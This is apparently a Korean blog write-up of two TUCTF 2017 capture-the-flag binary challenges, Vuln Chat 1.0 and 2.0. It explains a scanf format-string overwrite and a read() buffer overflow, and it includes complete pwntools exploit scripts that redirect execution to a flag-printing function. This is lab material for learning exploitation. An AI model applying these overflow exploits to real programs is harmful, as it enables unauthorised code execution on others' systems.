Parkchanjin
TUCTF 2017 Vuln Chat1, 2 본문
- Vuln Chat1.0 -
위 사진을 보시면 %30s을 변수에 저장해서 scanf함수로 30글자까지 입력을 받습니다.
30글자만 입력받으면 bof를 못하는데 다행히도 %30s를 변수에 따로 저장해놓고 사용해서 Username을 입력받을 때 format변수를 %100s이든 다른걸로
덮어씌우면 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 | from pwn import * username = "a" * 17 + "\x00\x50\xfb\x25" + "\x33\x30\x30\x73" # %s300 chat = "a" * 49 + "\x6b\x85\x04\x08" # printflag p = process('./chat') print p.recvuntil('Enter your username: ') p.sendline(username) print p.recvuntil('djinn: I have the information. But how do I know I can trust you?') p.sendline(chat) print p.recvall() | cs |
- Vuln Chat2.0 -
이건 간단하게 read함수에서 buf크기가 0x14인데 0x2d만큼 입력을 받아서 bof가 발생합니다.
1 2 3 4 5 6 7 8 9 10 11 12 | from pwn import * username = "root" chat = "a" * 43 + "\x72\x86\x04\x08" p = process('./vuln-chat2.0') print p.recvuntil('Enter your username: ') p.sendline(username) print p.recvuntil(username + ": ") p.sendline(chat) print p.recvall() | cs |
Comments